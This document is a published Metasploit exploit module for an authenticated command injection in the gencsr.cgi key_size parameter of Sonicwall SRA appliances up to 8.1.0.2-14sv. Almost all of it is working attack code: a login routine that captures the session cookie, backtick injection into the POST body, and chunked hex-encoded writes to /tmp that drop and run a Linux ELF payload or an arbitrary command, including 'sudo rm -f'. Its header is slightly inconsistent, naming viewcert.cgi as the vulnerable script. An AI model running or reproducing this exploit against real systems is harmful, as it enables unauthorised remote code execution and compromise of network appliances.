Sonicwall SRA 8.1.0.2-14sv gencsr.cgi Command Injection

# Exploit Title: Sonicwall gencsr CGI Remote Command Injection Vulnerablity 
# Date: 12/24/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.6-21sv
# Tested on: 8.1.0.2-14sv
#            
# CVE : (awaiting cve)

# vuln: viewcert.cgi / CERT parameter 

# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. 
#
# xort @ Critical Start




require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name'           => 'Sonicwall SRA <= v8.1.0.2-14sv gencsr.cgi remote exploit',
'Description'    => %q{
This module exploits a remote command execution vulnerability in
the Sonicwall SRA Appliance Version <=  v8.1.0.2-14sv. The vulnerability exist in
a section of the machine's adminstrative infertface for performing configurations 
related to on-connect scripts to be launched for users's connecting.
},
'Author'         =>
[
'xort@Critical Start', # vuln + metasploit module
],
'Version'        => '$Revision: 1 $',
'References'     =>
[
[ 'none', 'none'],
],
'Platform'      => [ 'linux'],
'Privileged'     => true,
 'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

        'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

'Targets'        =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end

        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 1550;

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/cgi-bin/userLogin",
      'headers' => {
   'Connection' => 'close',
   'Content-Type' => 'application/x-www-form-urlencoded',
   'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
              },
                      'vars_post' => {
   'username' => username,
   'password' => password_clear,
   'domain' => 'LocalDomain',
   'loginButton' => 'Login',
   'state' => 'login',
   'login' => 'true',
   'VerifyCert' => '0',
   'portalname' => 'VirtualOffice',
   'ajax' => 'true'
       },

                }, timeout)

swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]

                return swap
        end


def run_command(swap_cookie, cmd)

                # vars
                timeout = 1550;

                res = send_request_cgi({
                   'method' => 'POST',
                   'uri'    => "/cgi-bin/gencsr",
                   'data' => "country=USA&san=ASDF&fqdn=www.google.com&county=dallas&applyButt=applyButt%3d&password=xxx&fullsan=xxx&organization=xxx&name=xxx&state=xxx&department=xxx&[email protected]&key_size=`#{cmd}`",
 
                   'headers' =>
                        {
                                'Cookie' => "swap=#{swap_cookie}",
                        },
                }, timeout)
end

def run_command_spliced(swap_cookie, cmd)

              write_mode = ">"
              dump_file = "/tmp/qq"
      reqs = 0

              cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

              for cmd_chunk in cmd_encoded.split(/(..................................................)/)

                        cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}"
reqs += 1

vprint_status("Running Command (#{reqs})\n")

                        # set to normal append for loops after the first round
                        if write_mode == ">"
                                write_mode = ">>"
                        end

                        # add cmd to array to be exected later          
                        run_command(swap_cookie, cmd_new)
               end

                # execute payload stored at dump_file 
                run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq")

end

def exploit
# timeout
timeout = 1550;

# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']

# do authentication
swap_cookie = do_login(user, password_clear)

vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")

 #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))

                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m")

# wait for magic
                        handler
                end
end
end

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